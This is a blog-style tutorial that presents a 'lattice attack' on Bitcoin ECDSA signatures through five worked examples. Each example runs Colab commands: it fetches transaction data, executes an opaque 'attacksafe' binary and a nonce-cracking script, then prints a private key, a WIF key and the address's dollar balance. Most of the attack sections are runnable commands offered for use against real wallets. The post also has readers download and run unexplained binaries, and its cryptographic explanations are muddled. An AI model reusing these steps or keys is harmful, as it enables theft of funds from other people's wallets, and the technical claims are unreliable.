LATTICE ATTACK 249bits we solve the problem of hidden numbers using 79 signatures ECDSA

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In our earliest work, we published an article on the topic “LATTICE ATTACK” as a complete solution to the HNP [Hidden Number Problem] , but with the recent emergence of a new attack “POLYNONCE ATTACK” , we decided to supplement the article using 79 signatures ECDSA.

Based on the previous article, where we took the polynomial 128 bitsand with the actual increase in the number of signatures, we will bring the value of the polynomial to 249 bits.

All we need is to solve the problem of hidden numbers.

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In this article, we will analyze five independent examples of cryptanalysis of the Bitcoin blockchain. All examples will be uploaded to the GitHub repository .

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For a theoretical basis, we will take materials:

“Lattice Attack on Bitcoin”

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Consider an example with a Bitcoin Address:

19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8

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RawTX

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"hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................

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Let’s go to the official website:  https://colab.research.google.com

Select the option  “Upload notebook”

Download the file: LATTICE_ATTACK_249bits.ipynb

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Download HEXthe data through the utility wget and save it to a file: RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt

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Let’s run the code and get the bits we needRawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

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To implement the attack, we will use the software

 “ATTACKSAFE SOFTWARE”

Access rights:

!chmod +x attacksafe

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ls

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Application:

!./attacksafe -help

  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

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!./attacksafe -version

Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" includes all popular attacks on Bitcoin.

Let’s run a list of all attacks:

!./attacksafe -list

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Let’s choose -tool: lattice_attack

To get a specific HEXvalue R,S,Zfor the signature ECDSA, we previously added data  RawTX through the utility echoto a text document and saved it as a file RawTX.txt

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Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”

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!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

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We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv

Now to see the successful result, open the file SignatureRSZ.csv

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In order to calculate the private key to a Bitcoin Wallet from a file,  SignatureRSZ.csvwe will install SageMath

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Earlier we published an article , download  tar-file:  sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

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!wget https://cryptodeeptools.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2

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Let’s go through the directory:

cd SageMath/

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ls

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Run  relocate-once.py  with the command:Python-script: 

!python3 relocate-once.py

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Move "AttackSafe"to "SignatureRSZ.csv"folder"SageMath"

!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'

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ls

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Download the script crack_weak_ECDSA_nonces_with_LLL.py from Dario Clavijo through the utility wget

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py

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Now let’s run  SageMath the command:

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!./sage -sh

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To calculate the private key to the Bitcoin Wallet, run the script crack_weak_ECDSA_nonces_with_LLL.py specifying the parameters249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

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cat PrivateKey.txt

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Let’s open the file:PrivateKey.txt

We received the private key to the Bitcoin Wallet in HEXthe format

PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

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Check POLYNONCE for each ECDSA signature

To do this, use the code from GITHUB

Result:

We got 79 identical original bits from249

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Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.

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Let’s check the HEX of the private key:

Install the modulebitcoin

!pip3 install bitcoin

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Let’s run the code:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

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Let’s open the file:PrivateKeyAddr.txt

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Let’s open  bitaddress  and check:

ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
WIF:  L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB
HEX:  9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

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https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

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BALANCE: $ 1015.58

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Let’s look at other examples:

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№2

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Consider example #2 with a Bitcoin Address:

1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z

9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af

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RawTX

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"hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff..............................
 

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Let’s remove the files from the first example:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

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Download  HEXthe data through the utility  wget and save it to a file:  RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt

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Let’s run the code and get the bits we need RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

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Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”

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!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

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We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv

Now to see the successful result, open the file SignatureRSZ.csv

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---

Let’s run  SageMath the command:

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!./sage -sh

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To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

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cat PrivateKey.txt

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Let’s open the file: PrivateKey.txt

We received the private key to the Bitcoin Wallet in  HEX the format

PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d

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Check POLYNONCE for each ECDSA signature

To do this, use the code from GITHUB

Result:

We got 79 identical original bits from249

---

Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.

---

Let’s check the HEX of the private key:

Let’s run the code:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

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---

Let’s open the file: PrivateKeyAddr.txt

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Let’s open  bitaddress  and check:

ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
WIF:  KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC
HEX:  00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d

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https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z

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BALANCE: $ 999.10

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Let’s look at other examples:

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№3

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Consider example #3 with a Bitcoin Address:

18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz

0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76

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RawTX

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"hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff..............................

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Let’s remove the files from the second example:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

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Download  HEX the data through the utility  wget and save it to a file:  RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt

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Let’s run the code and get the bits we need RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

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Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”

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!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

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We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv

Now to see the successful result, open the file SignatureRSZ.csv

---

---

Let’s run  SageMath the command:

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!./sage -sh

---

To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

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cat PrivateKey.txt

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Let’s open the file: PrivateKey.txt

We received the private key to the Bitcoin Wallet in  HEX the format

PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5

---

Check POLYNONCE for each ECDSA signature

To do this, use the code from GITHUB

Result:

We got 79 identical original bits from249

---

Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.

---

Let’s check the HEX of the private key:

Let’s run the code:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

---

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Let’s open the file: PrivateKeyAddr.txt

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Let’s open  bitaddress  and check:

ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
WIF:  L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU
HEX:  80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5

---

https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz

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BALANCE: $ 1023.25

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№4

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Consider example #4 with a Bitcoin Address:

12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor

6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989

---

RawTX

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"hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff..............................

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Let’s remove the files from the second example:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

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Download  HEX-data through the utility  echo and save to file:  RawTX.txt Download  HEX-data through the utility  wget and save to file:  RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt

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Let’s run the code and get the bits we need RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

---

Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”

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!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

---

We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv

Now to see the successful result, open the file SignatureRSZ.csv

---

---

Let’s run  SageMath the command:

---

!./sage -sh

---

To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

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cat PrivateKey.txt

---

---

Let’s open the file: PrivateKey.txt

We received the private key to the Bitcoin Wallet in  HEX the format

PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32

---

Check POLYNONCE for each ECDSA signature

To do this, use the code from GITHUB

Result:

We got 79 identical original bits from249

---

Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.

---

Let’s check the HEX of the private key:

Let’s run the code:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

---

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Let’s open the file: PrivateKeyAddr.txt

---

Let’s open  bitaddress  and check:

ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
WIF:  L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898
HEX:  9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32

---

https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor

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BALANCE: $ 406.03

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№5

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Consider example #5 with a Bitcoin Address:

1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791

---

RawTX

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"hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff...........................

---

Let’s remove the files from the second example:

!rm HEX.txt
!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt

---

Download  HEXthe data through the utility  wget and save it to a file:  RawTX.txt

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt

---

Let’s run the code and get the bits we need RawTX

with open("HEX.txt") as myfile:

    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)


f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

---

Launch  -tool lattice_attack using software “ATTACKSAFE SOFTWARE”

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!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

---

We launched this attack from  -tool lattice_attack and the result was saved to a file SignatureRSZ.csv

Now to see the successful result, open the file SignatureRSZ.csv

---

---

Let’s run  SageMath the command:

---

!./sage -sh

---

To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 249 bits 79 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt

---

cat PrivateKey.txt

---

---

Let’s open the file: PrivateKey.txt

We received the private key to the Bitcoin Wallet in  HEX the format

PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2

---

Check POLYNONCE for each ECDSA signature

To do this, use the code from GITHUB

Result:

We got 79 identical original bits from249

---

Thanks to the value on the secp256k1 curve from  Hal Finney,   LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.

---

Let’s check the HEX of the private key:

Let’s run the code:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

---

---

Let’s open the file: PrivateKeyAddr.txt

---

Let’s open  bitaddress  and check:

ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
WIF:  L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs
HEX:  e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2

---

https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN

---

BALANCE: $ 995.39

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Literature:

• Lattice Attacks against Elliptic-Curve Signatures with Blinded Scalar Multiplication Dahmun Goudarzi , Matthieu Rivain , and Damien Vergnaud CryptoExperts, Paris, France

• Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies Joachim Breitner and Nadia Heninger DFINITY Foundation, Zug University of California, San Diego
• Return of the Hidden Number Problem A Widespread and Novel Key Extraction Attack on ECDSA and DSA Keegan Ryan
• Minerva: The curse of ECDSA nonces Systematic analysis of lattice attacks on noisy leakage of bit-length of ECDSA nonces Ján Jančár , Vladimír Sedláček , Petr Švenda and Marek Sýs Masaryk University, Ca’ Foscari University of Venice
• Estimating the Effectiveness of Lattice Attacks Kotaro Abe and Makoto Ikeda School of Engineering, The University of Tokyo, Tokyo, Japan

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Source

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/CzaHitewN-4

Source: https://cryptodeeptools.ru/lattice-attack-249bits

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